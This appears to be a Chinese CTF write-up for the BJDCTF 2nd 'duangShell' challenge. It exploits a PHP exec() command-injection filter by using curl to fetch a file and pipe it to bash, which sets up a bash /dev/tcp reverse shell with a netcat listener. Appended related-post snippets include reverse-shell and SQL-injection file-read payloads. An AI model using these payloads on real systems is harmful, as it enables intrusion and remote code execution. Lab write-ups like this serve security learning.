[BJDCTF 2nd]duangShell

 

[BJDCTF 2nd]duangShell

点击进去之后提示我们swp源代码泄露,访问http://xxx/.index.php.swp下载该文件

该文件产生的原因是:​使用vi编辑器打开文件时,会生成一个.文件名.swp的备份文件,防止意外退出等情况导致文件内容丢失。产生原因主要是管理员在web目录下修改代码文件,导致生成了.swp备份文件。

我们使用vim -r 文件名 来恢复内容,然后按下任意键就可以看到其中的代码了。

windows下我在git命令行里面进行操作的,

源代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
</head>
<body>
    <center><h1>珍爱网</h1></center>
</body>
</html>
<?php
error_reporting(0);
echo "how can i give you source code? .swp?!"."<br>";
if (!isset($_POST['girl_friend'])) {
    die("where is P3rh4ps's girl friend ???");
else {
    $girl $_POST['girl_friend'];
    if (preg_match('/\>|\\\/'$girl)) {
        die('just girl');          {
    else if (preg_match('/ls|phpinfo|cat|\%|\^|\~|base64|xxd|echo|\$/i'$girl)) {
}      {echo "<img src='img/p3_need_beautiful_gf.png'> <!-- He is p3 -->";
    else {
        //duangShell~~~~
        exec($girl);
    }
}
 
 
~
 
}

  观察源代码之后发现是绕过过滤之后命令执行的题目

因为过滤了$符号,所以不能采用这种黑名单拼接的方式绕过

1
a=ca;b=t;c=flag;$ab $c

  禁用了base64之后不能使用base64编码绕过

1
`echo "Y2F0IGZsYWc="|base64 -d`

  又想了一些奇怪的姿势,着实不行,看师傅们的博客吧。

这道题用到的是反弹shell,又涨知识了,关于反弹shell可以看先知上的这两篇文章:

https://xz.aliyun.com/t/2548

https://xz.aliyun.com/t/2549

接着我们申请一个小号,在basic开启一台内网主机,默认好像apache服务已经开启了,在/var/www/html 下写入反弹shell

1
bash -i >& /dev/tcp/[ip]/[port] 0>&1

  这里的ip是内网主机的ip,使用ifconfig可以查看,port自己指定,我这里使用的是4444

接着监听本地的4444端口

1
nc -lvvp 4444

  在题目珍爱网界面,POST数据为:

1
girl_friend=curl http://[ip]/[文件名]|bash

  

ip是内网主机的IP,文件名是在html文件夹下写入的反弹shell的文件名,我这里是shell.txt

因为题目没有禁止curl,让珍爱网题目PHP代码里的exec执行curl访问内网靶机的写有反弹shell命令的文件,使内网靶机获取到反弹shell。

获取到反弹shell之后,题目靶机根目录下有假的flag文件

使用linux 的find命令查找flag

1
find / -name *flag*

  等待一会就能看到真实flag所在的位置了,然后cat查看一下就能获取flag

获得flag

学习了反弹shell的一些操作

参考博客:

https://blog.csdn.net/qq_40648358/article/details/105011659

https://www.cnblogs.com/gaonuoqi/p/12602309.html

https://www.cnblogs.com/Konmu/p/12549038.html#bjdctf-2ndduangshell

[BJDCTF 2nd]duangShell 反弹shell的更多相关文章

  1. [BJDCTF 2nd]duangShell

    [BJDCTF 2nd]duangShell 点击进去之后提示我们swp源代码泄露,访问http://xxx/.index.php.swp下载该文件 该文件产生的原因是:​使用vi编辑器打开文件时,会 ...

  2. BJDCTF 2nd web

    先贴一下Y1ng大佬的WP elementmaster 脑洞确实大,源码中hidden的id可以用hex解码成Po. 在URL后面输入Po.php得到一个点, 然后不知所措 被水淹没 实际上这里是要遍 ...

  3. [BUUCTF]PWN——[BJDCTF 2nd]secret

    [BJDCTF 2nd]secret 附件 步骤: 例行检查,64位程序,开启了canary和nx 本地试运行一下,看看程序大概的情况,好像是一个什么游戏 64位ida载入,检索程序里的字符串,发现了 ...

  4. [BUUCTF]PWN——[BJDCTF 2nd]r2t4

    [BJDCTF 2nd]r2t4 附件 步骤 例行检查,64位,开启了canary和nx 64位ida载入,检索字符串的时候发现了后面函数,shell_addr=0x400626 main函数 可以溢 ...

  5. [BUUCTF]PWN15——[BJDCTF 2nd]one_gadget

    [BUUCTF]PWN15--[BJDCTF 2nd]one_gadget 附件 步骤: 例行检查,64位,保护全开 nc试运行一下程序,看看情况,它一开始给了我们一个地址,然后让我们输入one ga ...

  6. Linux下反弹shell的种种方式

    [前言:在乌云社区看到反弹shell的几种姿势,看过之余自己还收集了一些,动手试了下,仅供参考] 0x01 Bash bash -i >& /dev/tcp/ >& 这里s ...

  7. 内网渗透中的反弹Shell与端口转发

    from:https://www.91ri.org/9367.html Web渗透中的反弹Shell与端口转发 php需未禁用exec函数一:生成php反弹脚本msf > msfpayload ...

  8. NC / Netcat - 反弹Shell

    原理 实验环境: 攻击机:windows机器,IP:192.168.12.109 受害机:linux机器,IP:192.168.79.1 攻击机:设置本地监听端口2222 C:\netcat>n ...

  9. 小白日记40:kali渗透测试之Web渗透-SQL手工注入(二)-读取文件、写入文件、反弹shell

    SQL手工注入 1.读取文件[load_file函数] ' union  SELECT null,load_file('/etc/passwd')--+ burpsuite 2.写入文件 ' unio ...

随机推荐

  1. 痞子衡嵌入式:超级下载算法(RT-UFL)开发笔记(2) - 识别当前i.MXRT型号

    大家好,我是痞子衡,是正经搞技术的痞子.今天痞子衡给大家介绍的是超级下载算法开发笔记(2)之识别当前i.MXRT型号. 文接上篇 <超级下载算法(RT-UFL)开发笔记(1) - 执行在不同CM ...

  2. 使用python和numpy实现函数的拟合

    给出一个数组x,然后基于一个二次函数,加上一些噪音数据得到另一组数据y. 将得到的数组x,y,构建一个机器学习模型,采用梯度下降法,通过多次迭代,学习到函数的系数.使用python和numpy进行编程 ...

  3. Pandas_数据清洗与整理_全

    # 数据清洗与整(全) # 1) 常见的数据清洗方法 # 2) 数据合并:多源数据的合并和连接 # 3) 数据重塑:针对层次化索引,学会 stack和 unstack # 4) 字符串处理:学会 Da ...

  4. notepad++覆盖了eclipse的快捷键

    好长时间发现eclipse快捷键alt+/无法使用,今天决定解决一下 1.Windows Hotkey Explorer 用此工具找到是notepad++占用了快捷键 2.C:\Program Fil ...

  5. cmd 命令行

    理想的情况下,所有的程序都能自描述, 比如 mysql -h,支持哪些命令,每项命令需要哪些参数 命令行工具有几个有关进程的命令, tasklist taskkill http://hi.baidu. ...

  6. 利用c++ std::getline实现split

    getline reads characters from an input stream and places them into a string: getline从输入流中读取字符, 并把它们转 ...

  7. lseek系统调用

    文件的随机读写.目前为止,文件都是顺序访问.读写都是从当前文件的偏移位置开始,然后文件偏移值自动的增加到刚好超出读或者写结束的位置是它为下一次作好准备.在linux中有文件偏移.使得随机访问变得简单, ...

  8. Markdown语法+Typora快捷键

    1. Markdown语法 1.1 代码块生成 // 对于代码块,使用"```+编程语言"即可生成书写对应代码块的区域 // JS代码块 ​```javascript // Jav ...

  9. [LeetCode题解]876. 链表的中间结点 | 快慢指针

    解题思路 使用快慢指针.这里要注意的是,while 的条件会影响当中间节点有两个时,slow 指向的是第一个,还是第二个节点. // 返回的是第一个 while(fast.next != null & ...

  10. OxyPlot组件的基本使用

    在制作上位机的时候,很多时候需要使用到监控绘图界面,使用来绘制曲线的组件有很多,GDI+.char.OxyPlot等等,这篇文章用来介绍OxyPlot组件的基本应用,在本文中主要是利用随心数生成函数结 ...